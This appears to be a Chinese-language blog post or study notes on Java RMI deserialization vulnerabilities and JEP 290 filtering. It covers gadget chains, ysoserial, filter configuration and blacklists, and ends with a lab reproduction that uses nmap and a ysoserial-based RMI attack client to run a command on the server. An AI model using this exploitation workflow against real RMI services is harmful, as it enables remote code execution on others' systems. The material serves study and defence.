远程过程调用 (Remote Procedure Call)是一种服务器-客户端模式,
Java的RMI(Remote Method Invocation)是一种RPC实现。
其基本思想是程序员可以像本地那样,与远程对象进行交互。
1、创建一个接口IRemoteService,继承自java.rmi.Remote;
2、S端创建一个类IRemoteServiceImpl,实现该接口,并且继承自java.rmi.server.UnicastRemoteObject;
3、S端在某端口(1099)注册该Naming服务,并将新建的对象(Skeleton)与该服务绑定;
4、C端通过网络连接(lookup)到该服务,得到C端的对象(Stub)通过网络调用服务端对象(Skeleton)的方法。
RMI基于Java的序列化/反序列化实现,使其成为反序列漏洞利用的一个攻击面。
攻击者输入恶意序列化对象,使得RMI服务端反序列化攻击者指定的对象;
如果攻击者指定的对象实现了自定义的readObject()方法,则在反序列化过程中可以借此实现一些副作用(比如执行任意代码)。
RMI服务端classloader可以找到(存在于classpath中)一个或多个类,能在反序列化过程中实现攻击者的意图。通常把能实现这个的类叫做gadget
,或者当通过多个类组合起来实现的叫做gadget chain
。
是一个预装了多个gadgets的反序列化漏洞利用工具。
这篇文章A First Look Into Java’s New Serialization Filtering
对JEP 290做了解读。
认为
在Java反序列化漏洞广受诟病的背景下,Oracle拿出了出了它自己的起码之力:JEP 290,提供了一种反序列化过滤的机制。这个机制确实是在朝正确的方向上走。但它不能完全解决问题,也不适合企业生产环境。
因为这种黑名单/白名单的过滤机制只有配置得当,才能有效过滤掉恶意的反序列化攻击。
JEP 290引入了三种过滤机制:
这种过滤方式的工作方式是:
启动Java应用时添加命令行参数(后面有例子)
-Djdk.serialFilter=<白名单类1>;<白名单类2>;!<黑名单类>
或者设置Java系统属性(Java 6,7,8)
$JAVA_HOME/jre/lib/security/java.security
(官方的是错的)
或者启动Java应用时设置
-Djava.security.properties=<黑白名单配置文件名>
基于白名单的进程级过滤器虽然是有效的,但是由于是白名单,程序员得找出某应用所有需要被反序列化调用的类,所以一般较难实现。不需要程序员手动修改应用程序级别的代码,因为这个机制已经内置在加入JEP 290的JDK代码(java.io.ObjectInputStream)中。
PS:对于RMI反序列化,如果加入了全局过滤器,当然没有办法绕过这个全局过滤器。
可以覆盖进程级过滤器!
当程序员很明确知道他想要反序列化的类是在哪个具体的包下,或者具体的类。需要程序员手动修改应用程序级别的代码。
通过代码:
ObjectInputFilter filesOnlyFilter = ObjectInputFilter.Config.createFilter("de.mogwailabs.Example;!*");
表示只接受
de.mogwailabs.Example
这个包下的类,其他的类都会被拒绝。
PS: 对于RMI反序列化,我们不关心这个,因为我们无法修改服务端代码。
//TODO
这个文件在jre目录下,
Java 6、7、8的是在这个目录下:
$JAVA_HOME/jre/lib/security/java.security
看一下不同的JDK有没有JEP 290有什么区别:
具体看一下这个有JEP 290的jdk1.8.0_112的java.security文件有什么东西。
首先有全局过滤器,即
jdk.serialFilter
另外有RMI相关的,有一个内置的黑名单:
Github有人写了一个常用的黑名单,配置JEP 290机制使用:
以下有一些黑名单类集合(过滤掉ysoserial中的gadgets):
https://github.com/mogwailabs/deserialization-filter-blacklists/blob/master/blacklist-filter.properties
在以下JDK版本之上
可以使用以下方式来进行进程级(Process-wide)的黑名单过滤,操作方法:
java -Djava.security.properties=blacklist-filter.properties -jar application.jar
ATTACKING JAVA RMI SERVICES AFTER JEP 290
这篇文章其实人家也没说绕过JEP 290的机制。人家标题说的就是XXX after jep 290
,即"后JEP 290时代的Java RMI漏洞利用方式",从头到尾没说绕过的事,也在开篇承认了如果在JEP 290机制下使用了全局过滤,那还是没问题的。
翻译过来是:如果没有配置全局过滤器,我们还是可以在应用程序级别下功夫利用反序列化漏洞的。
以最近的Dubbo反序列漏洞为例,比如我们用CommonsCollections4
这个gadget生成了payload,不管是使用JDK 112还是JDK 131启动dubbo-samples-http,都可以被反序列化成功。原因在于JEP 290只是引入了一种机制,要么使用进程级的过滤器,要么各个应用自己加上自己应用级的过滤器。
而且对于JDK 112,即便加上了这个参数
-Djava.security.properties=/Users/caiqiqi/GitProjects/JavaSer/JEP290/blacklist-filter.properties
启动后,依然可以被反序列化成功。
反序列化成功HTTP响应结果是:
而当使用带JEP290的JDK 131启动时,
未能命令执行。HTTP返回响应:
报错信息是:
java.io.InvalidClassException: filter status: REJECTED
对比一下:
从打印出的调试信息也可以看出JEP 290修改了java.io.ObjectInputStream
类,增加了过滤对待反序列化对象的类检查的逻辑(推测的,待看具体代码)。
环境来源:
https://github.com/mogwailabs/rmi-deserialization
环境包括服务端和客户端。且两端持有相同的接口:
IBSidesService.java
package de.mogwailabs.BSidesRMIService;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IBSidesService extends Remote {
boolean register(String ticketID) throws RemoteException;
void visitTalk(String talkname) throws RemoteException;
void poke(Object attende) throws RemoteException;
}
为了环境更加真实,这里没有将服务端和客户端放到同一个节点上。服务端代码BSidesMucRmiService
放到ubuntu-server虚拟机里:
使用maven编译依赖并打包:
mvn clean compile assembly:single
成功打包成jar之后,会在默认端口1099启动RMI服务:
java -jar ./target/BSidesRMIService-0.1-jar-with-dependencies.jar
使用nmap扫描1099端口,可以得到34725这个新的端口,然后第二次使用nmap扫描,可以获取到远程RMI服务的一些信息。
然后编译客户端。由于客户端有ysoserial的payload,需要带上ysoserial作为classpath:
javac -cp /Users/caiqiqi/Downloads/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar *.java
漏洞利用:
java -cp .:/Users/caiqiqi/Downloads/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar de.mogwailabs.BSidesRMIService.AttackClient 127.0.0.1 1099 "touch /tmp/test_rmi"